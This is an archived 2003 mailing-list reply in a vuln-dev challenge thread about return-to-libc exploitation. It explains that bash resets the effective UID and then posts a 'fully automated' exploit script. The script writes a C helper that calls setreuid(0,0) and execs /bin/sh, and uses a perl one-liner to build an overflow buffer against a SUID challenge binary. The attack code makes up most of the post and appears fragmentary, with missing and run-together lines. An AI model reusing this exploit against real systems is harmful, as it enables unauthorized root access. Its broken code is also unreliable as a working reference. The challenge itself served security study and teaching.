|
|||||||||||
|
Re: [Vuln-dev Challenge] Challenge #2 (return-to-libc)
From: Joel Eriksson <je-vulndev(at)bitnux.com>
Date: Sun May 25 2003 - 03:16:04 EDT Spacewalker and others who did a return-to-libc sploit for vulndev-2. Returning to system() means your command will be executed like this: /bin/sh -c blabla In Linux, /bin/sh is a symlink to bash. Recent versions of bash reset the EUID to the real UID. Many other shells also reset the EUID, since it's pretty common to execute /bin/sh in sploits (that's why shellcodes usually include a setuid-call before the exec, you know). Jon Erickson AKA Jose Ronnick exploited it "for real" though, and here's yet another working return-to-libc exploit, which uses a different approach. As usual, the sploit is fully automated.
[je@vudo ~]$ cat expldev-2.sh
[ $# -ge 1 ] && vul=$1 || vul=./vulndev-2 ; shift
cat > expldev-2.c << EOF
setreuid(0, 0);
execl("/bin/sh", "sh", NULL);
perror("exec");
return 1;
} EOF gcc -o '%s ' expldev-2.c buf_size=90 # size of buffer pad_size=2 # align to word boundary num_reps=32 # &bfp - &buf may be > BFSIZE (padding/alignment)
cp $vul $vul.tmp # Can't trace a SUID-binary, so use a temporary file.
cat > expldev-2.gdb << EOF
perl -e 'print "\0\0\0\0" . pack("L", '$[addr_execv]')' > db.log arg1=$(perl -e '
print "A" x ('$[buf_size + pad_size]') .
pack("L", '$[addr_printf - 4]') x '$num_reps
)
$vul $arg1 ""
-- Joel Eriksson ------------------------------------------------- Cellphone: +46-70-288 64 16 Home: +46-26-10 23 37 Security Research & Systems Development at Bitnux PGP Key Server pgp.mit.edu, PGP Key ID 0x529FDBD1 A615 A1E1 3CA2 D7C2 CFEA 47B4 7EF7 E6B2 529F DBD1 -------------------------------------------------Received on Sun May 25 23:18:32 2003 This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:39 EDT |
||||||||||
|
|||||||||||